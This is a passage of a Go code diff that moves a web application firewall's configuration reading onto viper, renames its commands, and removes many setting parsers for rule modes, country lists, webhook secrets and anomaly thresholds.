env.certificates("SWWAF_LOG_REMOTE_TLS_CA_FILE"), - LogRemoteBuffer: env.numberNotOff("SWWAF_LOG_REMOTE_BUFFER", "10000"), - LogRemoteFacility: env.facility("SWWAF_LOG_REMOTE_FACILITY", "local0"), - AlertWebhookURL: env.webhookURL("SWWAF_ALERT_WEBHOOK_URL"), - AlertWebhookHeaders: env.webhookHeaders("SWWAF_ALERT_WEBHOOK_HEADERS"), - AlertSlackWebhookURL: env.webhookURL("SWWAF_ALERT_SLACK_WEBHOOK_URL"), - AlertNtfyURL: env.webhookURL("SWWAF_ALERT_NTFY_URL"), - AlertNtfyToken: env.secret("SWWAF_ALERT_NTFY_TOKEN"), - AlertEvents: env.alertEvents("SWWAF_ALERT_EVENTS", - strings.Join(alerts.Events(), ",")), - AlertCooldown: env.duration("SWWAF_ALERT_COOLDOWN", "15m"), - AlertMaxPerHour: env.numberOrOff("SWWAF_ALERT_MAX_PER_HOUR", "60"), - AnomalyClient: env.thresholds("SWWAF_ANOMALY_CLIENT_"), - AnomalyNet: env.thresholds("SWWAF_ANOMALY_NET_"), - AnomalyASN: env.thresholds("SWWAF_ANOMALY_ASN_"), - AnomalyTotal: env.thresholds("SWWAF_ANOMALY_TOTAL_"), - AnomalyWatch: env.thresholds("SWWAF_WATCH_"), - AnomalyNetV4Prefix: env.v4Prefix("SWWAF_ANOMALY_NET_V4_PREFIX", "24"), - AnomalyNetV6Prefix: env.v6Prefix("SWWAF_ANOMALY_NET_V6_PREFIX", "48"), - WatchNets: env.namedNetblocks("SWWAF_WATCH_NETS"), - } - - cfg.LogRemoteAppName = env.appName("SWWAF_LOG_REMOTE_APP_NAME", - cfg.InstanceName, cfg.LogRemoteURL != nil) - cfg.BlocklistAction, cfg.BlocklistLimitPercent = env.action( - "SWWAF_BLOCKLIST_ACTION", "deny") - cfg.ReputationAction, cfg.ReputationLimitPercent = env.action( - "SWWAF_REPUTATION_ACTION", "limit:25") - - env.checkInstanceNameForNtfy(cfg.InstanceName, cfg.AlertNtfyURL != nil) - env.checkLookupDBPath(cfg) - env.checkCountriesAndLookups(cfg) - env.checkASNLimitPercentURL(cfg) - env.checkCrowdSec(cfg) - - if env.err != nil { - return nil, env.err - } - - cfg.settings = env.settings - - return cfg, nil -} - -// Command reads only SMALLWEBWAF_COMMAND, the command the image runs and its -// health check checks: rproxy when it is unset or empty, or servewaf. It cannot +// Command reads only SWW_COMMAND, the command the image runs and its +// health check checks: rproxy when it is unset or empty, or waf. It cannot // be given as a file. Any other value is an error that names the setting. -func Command(lookupEnv func(string) (string, bool)) (string, error) { - command, _ := lookupEnv("SMALLWEBWAF_COMMAND") +func Command(v *viper.Viper) (string, error) { + command, _ := readSetting(v, "SWW_COMMAND") switch command { case "", "rproxy": return "rproxy", nil - case "servewaf": + case "waf": return command, nil default: - return "", fmt.Errorf("SMALLWEBWAF_COMMAND: %q %w", command, errNotCommand) + return "", fmt.Errorf("SWW_COMMAND: %q %w", command, errNotCommand) } } -// ServeWAFListenAddr reads only SWWAF_LISTEN_ADDR, which may be given as a -// file, as FromEnvironment does. The health check in servewaf's container needs -// no other setting, so it reads no other, nor a file that another names. -func ServeWAFListenAddr(lookupEnv func(string) (string, bool)) (string, error) { - env := &environment{lookupEnv: lookupEnv} - listenAddr := env.address("SWWAF_LISTEN_ADDR") - - return listenAddr, env.err -} - -// InstanceName reads only SWWAF_INSTANCE_NAME, which may be given as a -// file, as FromEnvironment does, so that the line saying a setting is -// invalid carries it too. A file that cannot be read gives the default -// here, and FromEnvironment then stops the start over it. -func InstanceName(lookupEnv func(string) (string, bool)) string { - env := &environment{lookupEnv: lookupEnv} - - return env.instanceName() -} - -// privateRanges are the private address ranges, the default trusted -// proxies. -const privateRanges = "10.0.0.0/8,172.16.0.0/12,192.168.0.0/16" - -// LogValue makes a Config log as each setting's name with the value it was -// given, or its default. -func (c *Config) LogValue() slog.Value { - return slog.GroupValue(c.settings...) -} - -// environment is where FromEnvironment reads the settings: it notes each -// value for the log, and keeps the first error. +// environment is where WAFFromEnvironment and RProxyFromEnvironment read the +// settings: it notes each value for the log, and keeps the first error. It +// reads every setting through v, the viper NewViper returns, and honours +// each setting's _FILE form too. type environment struct { - lookupEnv func(string) (string, bool) - settings []slog.Attr - err error + v *viper.Viper + settings []slog.Attr + err error +} + +// readSetting returns a setting's value and whether it is set, reading it +// through v. +func readSetting(v *viper.Viper, name string) (string, bool) { + if !v.IsSet(name) { + return "", false + } + + return v.GetString(name), true } // value returns a setting's value, or its default when it is not set, @@ -644,23 +103,27 @@ func (e *environment) value(name, defaultValue string) string { // names, less one newline at their end. It notes that file's path for the // log. Both variables set, or a file that cannot be read, is an error. func (e *environment) lookup(name string) (string, bool) { - value, set := e.lookupEnv(name) + value, set := readSetting(e.v, name) fileName := name + "_FILE" - path, inFile := e.lookupEnv(fileName) + path, inFile := readSetting(e.v, fileName) if !inFile { return value, set } if set { - e.check(name, fmt.Errorf("is set, and so is %s; %w", fileName, errSetTwice)) + e.check( + name, + fmt.Errorf("is set, and so is %s; %w", fileName, errSetTwice), + ) return value, set } e.settings = append(e.settings, slog.String(fileName, path)) - contents, err := os.ReadFile(path) //nolint:gosec // a file the admin names + //nolint:gosec // a file the admin names + contents, err := os.ReadFile(path) if err != nil { e.check(fileName, fmt.Errorf("cannot be read: %w", err)) @@ -686,35 +149,6 @@ func (e *environment) address(name string) string { return address } -// appURL reads a setting that is the app's URL. -func (e *environment) appURL(name, defaultValue string) *url.URL { - upstream, err := parseUpstreamURL(e.value(name, defaultValue)) - e.check(name, err) - - return upstream -} - -// observe reads the setting that is the mode, enforce or observe, and -// reports whether it is observe. -func (e *environment) observe(name, defaultValue string) bool { - mode := e.value(name, defaultValue) - if mode != "enforce" && mode != "observe" { - e.check(name, fmt.Errorf("%q %w", mode, errNotMode)) - } - - return mode == "observe" -} - -// boolean reads a setting that is true or false. -func (e *environment) boolean(name, defaultValue string) bool { - value := e.value(name, defaultValue) - if value != "true" && value != "false" { - e.check(name, fmt.Errorf("%q %w", value, errNotBoolean)) - } - - return value == "true" -} - // netblocks reads a setting that is a list of netblocks. func (e *environment) netblocks(name, defaultValue string) []netip.Prefix { netblocks, err := parseNetblocks(e.value(name, defaultValue)) @@ -723,14 +157,6 @@ func (e *environment) netblocks(name, defaultValue string) []netip.Prefix { return netblocks } -// duration reads a setting that is a duration. -func (e *environment) duration(name, defaultValue string) time.Duration { - duration, err := parseDuration(e.value(name, defaultValue)) - e.check(name, err) - - return duration -} - // size reads a setting that is a number of bytes. func (e *environment) size(name, defaultValue string) int64 { size, err := parseSize(e.value(name, defaultValue)) @@ -739,640 +165,19 @@ func (e *environment) size(name, defaultValue string) int64 { return size } -// wafBodyLimit reads the setting that is the most of a request body the -// Core Rule Set reads. -func (e *environment) wafBodyLimit(name, defaultValue string) int64 { - limit, err := parseWAFBodyLimit(e.value(name, defaultValue)) - e.check(name, err) - - return limit -} - -// count reads a setting that is a number of requests. -func (e *environment) count(name, defaultValue string) int64 { - count, err := parseCount(e.value(name, defaultValue)) - e.check(name, err) - - return count -} - -// bytesCount reads the setting that is which body bytes count toward the -// byte limits: response, request or both. -func (e *environment) bytesCount(name, defaultValue string) string { - value := e.value(name, defaultValue) - if value != "response" && value != "request" && value != "both" { - e.check(name, fmt.Errorf("%q %w", value, errNotBytesCount)) - } - - return value -} - -// pathPrefixes reads a setting that is a list of path prefixes. -func (e *environment) pathPrefixes(name, defaultValue string) []string { - prefixes, err := parsePathPrefixes(e.value(name, defaultValue)) - e.check(name, err) - - return prefixes -} - -// trapPaths reads the setting that is the list of trap paths. It is empty -// by default. -func (e *environment) trapPaths(name string) []string { - paths, err := parseTrapPaths(e.value(name, "")) - e.check(name, err) - - return paths -} - -// wafMode reads the setting that is what the Core Rule Set does: off, -// detect or block. -func (e *environment) wafMode(name, defaultValue string) string { - mode := e.value(name, defaultValue) - if mode != WAFModeOff && mode != WAFModeDetect && mode != WAFModeBlock { - e.check(name, fmt.Errorf("%q %w", mode, errNotWAFMode)) - } - - return mode -} - -// paranoiaLevel reads the setting that is the Core Rule Set's paranoia -// level, from 1 to 4. -func (e *environment) paranoiaLevel(name, defaultValue string) int { +// milliseconds reads a setting that is a whole number of milliseconds above +// zero. +func (e *environment) milliseconds(name, defaultValue string) time.Duration { value := e.value(name, defaultValue) - level, err := strconv.Atoi(value) - if err != nil || level < 1 || level > maxParanoiaLevel { - e.check(name, fmt.Errorf("%q %w", value, errNotParanoiaLevel)) - } - - return level -} - -// ruleIDs reads the setting that is a list of the ids of Core Rule Set -// rules. -func (e *environment) ruleIDs(name, defaultValue string) []int { - ids, err := parseRuleIDs(e.value(name, defaultValue)) - e.check(name, err) - - return ids -} - -// countries reads a setting that is a list of countries. -func (e *environment) countries(name, defaultValue string) []string { - countries, err := parseCountries(e.value(name, defaultValue)) - e.check(name, err) - - return countries -} - -// percents reads a setting that is a list of AS numbers or countries, -// which parseCode reads, each with a percentage. It is empty by default. -func (e *environment) percents( - name string, parseCode func(string) (string, error), -) map[string]int64 { - percents, err := parsePercents(e.value(name, ""), parseCode) - e.check(name, err) - - return percents -} - -// percent reads a setting that is a percentage, from 0 to 100. -func (e *environment) percent(name, defaultValue string) int64 { - percent, err := ParsePercent(e.value(name, defaultValue)) - e.check(name, err) - - return percent -} - -// listURL reads a setting that is the URL a list is fetched from, "" while -// it is unset or empty. -func (e *environment) listURL(name string) string { - value := e.value(name, "") - if value != "" && !isListURL(value) { - e.check(name, fmt.Errorf("%q %w", value, errNotListURL)) - } - - return value -} - -// listURLs reads a setting that is a list of the URLs lists are fetched -// from. It is empty by default. -func (e *environment) listURLs(name string) []string { - urls, err := parseListURLs(e.value(name, "")) - e.check(name, err) - - return urls -} - -// refresh reads the setting that is how long after a list was last -// fetched or tried it is fetched again: a duration of an hour or more, -// since the Spamhaus lists may be fetched no more often, which cannot be -// off. -func (e *environment) refresh(name, defaultValue string) time.Duration { - value := e.value(name, defaultValue) - - duration, err := parseDuration(value) - if err != nil || duration < time.Hour { - e.check(name, fmt.Errorf("%q %w", value, errNotAnHourOrMore)) + duration, valid := parseMilliseconds(value) + if !valid { + e.check(name, fmt.Errorf("%q %w", value, errNotMilliseconds)) } return duration } -// action reads a setting that is what is done with a client a blocklist -// or a DNSBL zone lists: deny, log, or limit:, which it returns -// as limit and the percentage. -func (e *environment) action(name, defaultValue string) (string, int64) { - value := e.value(name, defaultValue) - if value == "deny" || value == "log" { - return value, 0 - } - - percentText, isLimit := strings.CutPrefix(value, "limit:") - - percent, err := ParsePercent(percentText) - if !isLimit || err != nil { - e.check(name, fmt.Errorf("%q %w", value, errNotAction)) - } - - return "limit", percent -} - -// zones reads the setting that is the list of DNSBL zones. It is empty by -// default. The log shows each zone with its key masked, as MaskZoneKey -// masks it. -func (e *environment) zones(name string) []string { - value, _ := e.lookup(name) - zones, err := parseZones(value) - e.check(name, err) - - logged := make([]string, len(zones)) - for i, zone := range zones { - logged[i] = MaskZoneKey(zone) - } - - e.settings = append(e.settings, slog.String(name, strings.Join(logged, ","))) - - return zones -} - -// resolver reads the setting that is the resolver the DNSBL zones are -// asked through, the zero AddrPort while it is unset or empty. -func (e *environment) resolver(name string) netip.AddrPort { - resolver, err := parseResolver(e.value(name, "")) - e.check(name, err) - - return resolver -} - -// crowdSecDecisionsURL reads the setting that is the URL of the CrowdSec -// engine's local API, such as http://172.17.0.1:8080, and returns the URL -// its decision list is fetched from, that URL with v1/decisions added to -// its path, "" while it is unset or empty. -func (e *environment) crowdSecDecisionsURL(name string) string { - value := e.value(name, "") - if value == "" { - return "" - } - - lapi, err := url.Parse(value) - if err != nil || !isHTTPURL(lapi) { - e.check(name, fmt.Errorf("%q %w", value, errNotLAPIURL)) - - return "" - } - - return lapi.JoinPath("v1", "decisions").String() -} - -// lookupSource reads the setting that is where clients are looked up: -// geojs, file, or off. -func (e *environment) lookupSource(name, defaultValue string) string { - source := e.value(name, defaultValue) - if source != "geojs" && source != fileSource && source != off { - e.check(name, fmt.Errorf("%q %w", source, errNotLookupSource)) - } - - return source -} - -// checkLookupDBPath refuses SWWAF_LOOKUP_SOURCE=file without -// SWWAF_LOOKUP_DB_PATH, and SWWAF_LOOKUP_DB_PATH with any other source: -// one source at a time. -func (e *environment) checkLookupDBPath(cfg *Config) { - switch { - case cfg.LookupSource == fileSource && cfg.LookupDBPath == "": - e.check("SWWAF_LOOKUP_SOURCE", fmt.Errorf( - "is file while SWWAF_LOOKUP_DB_PATH is unset; %w", errNeedsDBPath)) - case cfg.LookupSource != fileSource && cfg.LookupDBPath != "": - e.check("SWWAF_LOOKUP_DB_PATH", fmt.Errorf( - "is set while SWWAF_LOOKUP_SOURCE is %s; %w", cfg.LookupSource, errDBPathUnused)) - } -} - -// checkCountriesAndLookups refuses a country on both country lists, and, -// while SWWAF_LOOKUP_SOURCE is off, each setting that needs clients looked -// up: the country lists, SWWAF_ADD_LOOKUP_HEADERS, the biased thresholds, -// SWWAF_ASN_LIMIT_PERCENT_URL among them, of which -// SWWAF_UNKNOWN_LIMIT_PERCENT needs them only below 100, where it lowers a -// limit, and the anomaly thresholds per AS number. -func (e *environment) checkCountriesAndLookups(cfg *Config) { - for _, country := range cfg.ExclusivelyAllowedCountries { - if slices.Contains(cfg.DeniedCountries, country) { - e.check("SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES", - fmt.Errorf("%q %w", country, errOnBothLists)) - } - } - - if cfg.LookupSource != off { - return - } - - for _, setting := range []struct { - name string - set bool - }{ - {"SWWAF_DENIED_COUNTRIES", len(cfg.DeniedCountries) > 0}, - {"SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES", len(cfg.ExclusivelyAllowedCountries) > 0}, - {"SWWAF_ADD_LOOKUP_HEADERS", cfg.AddLookupHeaders}, - {"SWWAF_ASN_LIMIT_PERCENT", len(cfg.ASNLimitPercent) > 0}, - {"SWWAF_COUNTRY_LIMIT_PERCENT", len(cfg.CountryLimitPercent) > 0}, - {"SWWAF_ASN_BYTES_PERCENT", len(cfg.ASNBytesPercent) > 0}, - {"SWWAF_COUNTRY_BYTES_PERCENT", len(cfg.CountryBytesPercent) > 0}, - {"SWWAF_UNKNOWN_LIMIT_PERCENT", cfg.UnknownLimitPercent < 100}, - {"SWWAF_ASN_LIMIT_PERCENT_URL", cfg.ASNLimitPercentURL != ""}, - {"SWWAF_ANOMALY_ASN_REQUESTS_PER_MINUTE", cfg.AnomalyASN.RequestsPerMinute > 0}, - {"SWWAF_ANOMALY_ASN_REQUESTS_PER_HOUR", cfg.AnomalyASN.RequestsPerHour > 0}, - {"SWWAF_ANOMALY_ASN_BYTES_PER_MINUTE", cfg.AnomalyASN.BytesPerMinute > 0}, - {"SWWAF_ANOMALY_ASN_BYTES_PER_HOUR", cfg.AnomalyASN.BytesPerHour > 0}, - } { - if setting.set { - e.check(setting.name, fmt.Errorf("is set while SWWAF_LOOKUP_SOURCE is off; %w", - errNeedsLookups)) - } - } -} - -// checkASNLimitPercentURL refuses SWWAF_ASN_LIMIT_PERCENT_URL naming a -// blocklist too: the file at a URL is fetched as one list or the other. -func (e *environment) checkASNLimitPercentURL(cfg *Config) { - if slices.Contains(cfg.BlocklistURLs, cfg.ASNLimitPercentURL) { - e.check("SWWAF_ASN_LIMIT_PERCENT_URL", - fmt.Errorf("%q %w", cfg.ASNLimitPercentURL, errInBlocklistURLs)) - } -} - -// checkCrowdSec refuses SWWAF_CROWDSEC_LAPI_URL without -// SWWAF_CROWDSEC_LAPI_KEY, the key without the URL, and a decision list -// that is fetched as another list too. -func (e *environment) checkCrowdSec(cfg *Config) { - decisionsURL := cfg.CrowdSecDecisionsURL - - switch { - case decisionsURL != "" && cfg.CrowdSecKey == "": - e.check("SWWAF_CROWDSEC_LAPI_URL", fmt.Errorf( - "is set while SWWAF_CROWDSEC_LAPI_KEY is unset; %w", errNeedsLAPIKey)) - case decisionsURL == "" && cfg.CrowdSecKey != "": - e.check("SWWAF_CROWDSEC_LAPI_KEY", fmt.Errorf( - "is set while SWWAF_CROWDSEC_LAPI_URL is unset; %w", errLAPIKeyUnused)) - case decisionsURL != "" && (slices.Contains(cfg.BlocklistURLs, decisionsURL) || - decisionsURL == cfg.ASNLimitPercentURL): - e.check("SWWAF_CROWDSEC_LAPI_URL", fmt.Errorf("gives the decision list %q, which %w", - decisionsURL, errAnotherList)) - } -} - -// headerNames reads a setting that is a list of header names, and -// returns them in lower case. -func (e *environment) headerNames(name, defaultValue string) []string { - headers, err := parseHeaderNames(e.value(name, defaultValue)) - e.check(name, err) - - return headers -} - -// durationNotOff reads a setting that is a duration and, unlike a -// timeout, cannot be off. -func (e *environment) durationNotOff(name, defaultValue string) time.Duration { - duration, err := ParseDurationNotOff(e.value(name, defaultValue)) - e.check(name, err) - - return duration -} - -// numberNotOff reads a setting that is a whole number above zero, which -// cannot be off. -func (e *environment) numberNotOff(name, defaultValue string) int { - number, err := parseNumberNotOff(e.value(name, defaultValue)) - e.check(name, err) - - return number -} - -// banResponse reads a setting that is how a refused client is answered. -func (e *environment) banResponse(name, defaultValue string) int { - status, err := parseBanResponse(e.value(name, defaultValue)) - e.check(name, err) - - return status -} - -// v4Prefix reads a setting that is the length of an IPv4 netblock. -func (e *environment) v4Prefix(name, defaultValue string) int { - length, err := parseV4Prefix(e.value(name, defaultValue)) - e.check(name, err) - - return length -} - -// v6Prefix reads a setting that is the length of an IPv6 netblock. -func (e *environment) v6Prefix(name, defaultValue string) int { - length, err := parseV6Prefix(e.value(name, defaultValue)) - e.check(name, err) - - return length -} - -// ipv6GroupPrefix reads the setting that is the length of the IPv6 -// netblock that is one client, from minIPv6GroupPrefix to 128. -func (e *environment) ipv6GroupPrefix(name, defaultValue string) int { - value := e.value(name, defaultValue) - - length, err := strconv.Atoi(value) - if err != nil || length < minIPv6GroupPrefix || length > ipv6Bits { - e.check(name, fmt.Errorf("%q %w", value, errNotIPv6GroupPrefix)) - } - - return length -} - -// logLevel reads the setting that is the least severe of the process's -// own messages that are written: debug, info, warn or error. -func (e *environment) logLevel(name, defaultValue string) slog.Level { - value := e.value(name, defaultValue) - - level, known := map[string]slog.Level{ - "debug": slog.LevelDebug, - "info": slog.LevelInfo, - "warn": slog.LevelWarn, - "error": slog.LevelError, - }[value] - if !known { - e.check(name, fmt.Errorf("%q %w", value, errNotLogLevel)) - } - - return level -} - -// thresholds reads the four anomaly thresholds whose settings' names -// start with prefix: requests and bytes per minute and per hour. Each is -// off by default. -func (e *environment) thresholds(prefix string) anomaly.Thresholds { - return anomaly.Thresholds{ - RequestsPerMinute: e.count(prefix+"REQUESTS_PER_MINUTE", off), - RequestsPerHour: e.count(prefix+"REQUESTS_PER_HOUR", off), - BytesPerMinute: e.size(prefix+"BYTES_PER_MINUTE", off), - BytesPerHour: e.size(prefix+"BYTES_PER_HOUR", off), - } -} - -// namedNetblocks reads a setting that is a list of named netblocks. It is -// empty by default. -func (e *environment) namedNetblocks(name string) []anomaly.NamedNetblock { - named, err := parseNamedNetblocks(e.value(name, "")) - e.check(name, err) - - return named -} - -// absolutePath reads a setting that is an absolute path. -func (e *environment) absolutePath(name, defaultValue string) string { - path := e.value(name, defaultValue) - if !filepath.IsAbs(path) { - e.check(name, fmt.Errorf("%q %w", path, errNotAbsolutePath)) - } - - return path -} - -// token reads a setting that is a bearer token. Unset, it is "", which -// switches off what it guards; set, it must be at least minTokenLength -// characters. Neither the log nor an error shows its value. -func (e *environment) token(name string) string { - value, set := e.lookup(name) - if !set { - e.settings = append(e.settings, slog.String(name, "")) - - return "" - } - - e.settings = append(e.settings, slog.String(name, masked)) - - if utf8.RuneCountInString(value) < minTokenLength { - e.check(name, errShortToken) - } - - return value -} - -// logRemoteURL reads the setting that is where every log line is also -// sent. Unset or empty, it is nil, and nothing is sent. -func (e *environment) logRemoteURL(name string) *url.URL { - value := e.value(name, "") - if value == "" { - return nil - } - - remote, err := parseLogRemoteURL(value) - e.check(name, err) - - return remote -} - -// certificates reads a setting that is the path of a file of PEM -// certificates. Unset or empty, it is nil. Its value names a file -// already, so, unlike the other settings, it has no _FILE form. -func (e *environment) certificates(name string) *x509.CertPool { - path, _ := e.lookupEnv(name) - e.settings = append(e.settings, slog.String(name, path)) - - if path == "" { - return nil - } - - pem, err := os.ReadFile(path) //nolint:gosec // a file the admin names - if err != nil { - e.check(name, fmt.Errorf("cannot be read: %w", err)) - - return nil - } - - pool := x509.NewCertPool() - if !pool.AppendCertsFromPEM(pem) { - e.check(name, fmt.Errorf("%q %w", path, errNoCertificate)) - - return nil - } - - return pool -} - -// facility reads a setting that is a syslog facility, and returns its -// number. -func (e *environment) facility(name, defaultValue string) int { - number, err := parseFacility(e.value(name, defaultValue)) - e.check(name, err) - - return number -} - -// instanceName reads SWWAF_INSTANCE_NAME, by default the host's name. It -// must be valid UTF-8: the metrics library panics on a label that is not. -func (e *environment) instanceName() string { - hostname, _ := os.Hostname() // "" when the host has no name to give - - value := e.value("SWWAF_INSTANCE_NAME", hostname) - if !utf8.ValidString(value) { - e.check("SWWAF_INSTANCE_NAME", fmt.Errorf("%q %w", value, errNotUTF8)) - } - - return value -} - -// appName reads the setting that is the APP-NAME of the records the log -// lines are sent in, by default the instance name. Its value is checked -// when it is set, and, while lines are sent, when it is the instance name. -func (e *environment) appName(name, instanceName string, sending bool) string { - value, set := e.lookup(name) - if !set { - value = instanceName - } - - e.settings = append(e.settings, slog.String(name, value)) - - switch { - case isAppName(value): - case set: - e.check(name, fmt.Errorf("%q %w", value, errNotAppName)) - case sending: - e.check(name, fmt.Errorf("is unset, and SWWAF_INSTANCE_NAME %q, its default, %w", - value, errNotAppName)) - } - - return value -} - -// checkInstanceNameForNtfy refuses an instance name that holds a control -// character while ntfySet, SWWAF_ALERT_NTFY_URL being set: ntfy is sent -// the instance name in a header, which cannot hold one. -func (e *environment) checkInstanceNameForNtfy(instanceName string, ntfySet bool) { - if ntfySet && strings.ContainsFunc(instanceName, unicode.IsControl) { - e.check("SWWAF_INSTANCE_NAME", fmt.Errorf( - "%q %w, and is sent to ntfy in a header while SWWAF_ALERT_NTFY_URL is set", - instanceName, errControlCharacter)) - } -} - -// webhookURL reads a setting that is a URL each alert is posted to: -// SWWAF_ALERT_WEBHOOK_URL, SWWAF_ALERT_SLACK_WEBHOOK_URL or -// SWWAF_ALERT_NTFY_URL. Unset or empty, it is nil, and no alert is posted -// there. The log shows ******** in place of its path and query, and an -// error shows none of it, since a webhook or an ntfy topic can carry its -// secret there. -func (e *environment) webhookURL(name string) *url.URL { - value, _ := e.lookup(name) - webhook, logged, err := parseWebhookURL(value) - e.settings = append(e.settings, slog.String(name, logged)) - e.check(name, err) - - return webhook -} - -// webhookHeaders reads the setting that is the headers sent with each -// alert. The log shows each header's value as ********, since a header -// such as Authorization carries a secret. -func (e *environment) webhookHeaders(name string) http.Header { - value, _ := e.lookup(name) - headers, logged, err := parseWebhookHeaders(value) - e.settings = append(e.settings, slog.String(name, logged)) - e.check(name, err) - - return headers -} - -// secret reads a setting that is a secret another service gave, such as -// an ntfy token or an AbuseIPDB key, "" while it is unset. It is sent in -// a header, which cannot hold a control character, so one in it is an -// error. The log shows ******** in place of a value that is not empty, and -// an error shows none of it. -func (e *environment) secret(name string) string { - value, _ := e.lookup(name) - - logged := "" - if value != "" { - logged = masked - } - - e.settings = append(e.settings, slog.String(name, logged)) - - if strings.ContainsFunc(value, unicode.IsControl) { - e.check(name, errControlCharacter) - } - - return value -} - -// alertEvents reads the setting that is the events alerts are sent for. -func (e *environment) alertEvents(name, defaultValue string) []string { - events, err := parseAlertEvents(e.value(name, defaultValue)) - e.check(name, err) - - return events -} - -// numberOrOff reads a setting that is a whole number above zero, or off, -// which is 0. -func (e *environment) numberOrOff(name, defaultValue string) int { - number, err := parseNumberOrOff(e.value(name, defaultValue)) - e.check(name, err) - - return number -} - -// parseDuration reads a duration in Go's syntax, such as 90s or 15m, a -// whole number of days such as 7d, or off. -func parseDuration(value string) (time.Duration, error) { - if value == off { - return 0, nil - } - - duration, err := durationOrDays(value) - if err != nil { - return 0, fmt.Errorf("%q %w", value, errNotDuration) - } - - if duration <= 0 { - return 0, fmt.Errorf("%q %w", value, errNotPositive) - } - - return duration, nil -} - -// durationOrDays reads Go's duration syntax, or a whole number of days. -func durationOrDays(value string) (time.Duration, error) { - days, isDays := strings.CutSuffix(value, "d") - if !isDays { - return time.ParseDuration(value) - } - - n, err := strconv.ParseInt(days, 10, 64) - if err != nil || n < 0 || n > math.MaxInt64/int64(day) { - return 0, errNotDuration - } - - return time.Duration(n) * day, nil -} - // parseSize reads a number of bytes with an optional K, M or G suffix, in // powers of 1024 (1K is 1024 bytes), or off. func parseSize(value string) (int64, error) { @@ -1394,22 +199,6 @@ func parseSize(value string) (int64, error) { return n * unit, nil } -// parseWAFBodyLimit reads the most of a request body the Core Rule Set -// reads: a size as parseSize reads it, or off, but at most 64K, since servewaf -// gets no more of a body than that. -func parseWAFBodyLimit(value string) (int64, error) { - limit, err := parseSize(value) - if err != nil { - return 0, err - } - - if limit > 64*kibibyte { - return 0, fmt.Errorf("%q %w", value, errOver64K) - } - - return limit, nil -} - // splitUnit splits a size into its number and the bytes its suffix // stands for. func splitUnit(value string) (string, int64) { @@ -1425,78 +214,15 @@ func splitUnit(value string) (string, int64) { } } -// parseCount reads a whole number of requests, or off. -func parseCount(value string) (int64, error) { - if value == off { - return 0, nil - } - +// parseMilliseconds reads a whole number of milliseconds above zero, and +// reports whether it is one. +func parseMilliseconds(value string) (time.Duration, bool) { n, err := strconv.ParseInt(value, 10, 64) - if err != nil { - return 0, fmt.Errorf("%q %w", value, errNotCount) + if err != nil || n <= 0 || n > math.MaxInt64/int64(time.Millisecond) { + return 0, false } - if n <= 0 { - return 0, fmt.Errorf("%q %w", value, errNotPositive) - } - - return n, nil -} - -// ParseDurationNotOff reads a duration above zero, as parseDuration does, -// but not off. The ban endpoint reads the duration of a ban with it too. -func ParseDurationNotOff(value string) (time.Duration, error) { - duration, err := parseDuration(value) - if err != nil || duration == 0 { - return 0, fmt.Errorf("%q %w", value, errNotDurationAboveZero) - } - - return duration, nil -} - -// parseNumberNotOff reads a whole number above zero. -func parseNumberNotOff(value string) (int, error) { - n, err := strconv.Atoi(value) - if err != nil || n <= 0 { - return 0, fmt.Errorf("%q %w", value, errNotNumberAboveZero) - } - - return n, nil -} - -// parseBanResponse reads how a refused client is answered: 403, 429, or -// close, which is 0. -func parseBanResponse(value string) (int, error) { - switch value { - case "403": - return http.StatusForbidden, nil - case "429": - return http.StatusTooManyRequests, nil - case "close": - return 0, nil - default: - return 0, fmt.Errorf("%q %w", value, errNotBanResponse) - } -} - -// parseV4Prefix reads the length of an IPv4 netblock, from 0 to 32. -func parseV4Prefix(value string) (int, error) { - n, err := strconv.Atoi(value) - if err != nil || n < 0 || n > ipv4Bits { - return 0, fmt.Errorf("%q %w", value, errNotV4Prefix) - } - - return n, nil -} - -// parseV6Prefix reads the length of an IPv6 netblock, from 0 to 128. -func parseV6Prefix(value string) (int, error) { - n, err := strconv.Atoi(value) - if err != nil || n < 0 || n > ipv6Bits { - return 0, fmt.Errorf("%q %w", value, errNotV6Prefix) - } - - return n, nil + return time.Duration(n) * time.Millisecond, true } // parseList splits a comma-separated list and trims the spaces around @@ -1559,287 +285,6 @@ func ParseNetblock(value string) (netip.Prefix, error) { return netip.PrefixFrom(addr, addr.BitLen()), nil } -// parseNamedNetblocks reads a comma-separated list of named netblocks, -// each a name, = and a netblock, such as office=203.0.113.0/24. An empty -// value is an empty list. A name listed twice is an error. -func parseNamedNetblocks(value string) ([]anomaly.NamedNetblock, error) { - items, err := parseList(value) - if err != nil { - return nil, err - } - - named := make([]anomaly.NamedNetblock, 0, len(items)) - - for _, item := range items { - name, netblockText, found := strings.Cut(item, "=") - name = strings.TrimSpace(name) - - if !found || name == "" { - return nil, fmt.Errorf("%q %w", item, errNotNamedNetblock) - } - - netblock, err := ParseNetblock(strings.TrimSpace(netblockText)) - if err != nil { - return nil, err - } - - if slices.ContainsFunc(named, func(n anomaly.NamedNetblock) bool { - return n.Name == name - }) { - return nil, fmt.Errorf("%q %w", name, errListedTwice) - } - - named = append(named, anomaly.NamedNetblock{Name: name, Netblock: netblock}) - } - - return named, nil -} - -// parsePathPrefixes reads a comma-separated list of path prefixes, each -// starting with /. -func parsePathPrefixes(value string) ([]string, error) { - prefixes, err := parseList(value) - if err != nil { - return nil, err - } - - for _, prefix := range prefixes { - if !strings.HasPrefix(prefix, "/") { - return nil, fmt.Errorf("%q %w", prefix, errNotPathPrefix) - } - } - - return prefixes, nil -} - -// parseTrapPaths reads a comma-separated list of trap paths. Each is -// matched against a request's path as a path rule is, without the query, -// so a path that does not start with / would never match, and one that -// holds a ? is written with a query. -func parseTrapPaths(value string) ([]string, error) { - paths, err := parseList(value) - if err != nil { - return nil, err - } - - for _, path := range paths { - if !strings.HasPrefix(path, "/") || strings.Contains(path, "?") { - return nil, fmt.Errorf("%q %w", path, errNotTrapPath) - } - } - - return paths, nil -} - -// parseRuleIDs reads a comma-separated list of the ids of Core Rule Set -// rules, each a whole number above zero and outside firstSetupRuleID to -// lastSetupRuleID. -func parseRuleIDs(value string) ([]int, error) { - items, err := parseList(value) - if err != nil { - return nil, err - } - - ids := make([]int, len(items)) - - for i, item := range items { - ids[i], err = strconv.Atoi(item) - if err != nil || ids[i] <= 0 { - return nil, fmt.Errorf("%q %w", item, errNotRuleID) - } - - if ids[i] >= firstSetupRuleID && ids[i] <= lastSetupRuleID { - return nil, fmt.Errorf("%q %w", item, errSetupRuleID) - } - } - - return ids, nil -} - -// countryCodes are the two-letter codes ISO 3166-1 assigns today, and XK, -// the code in common use for 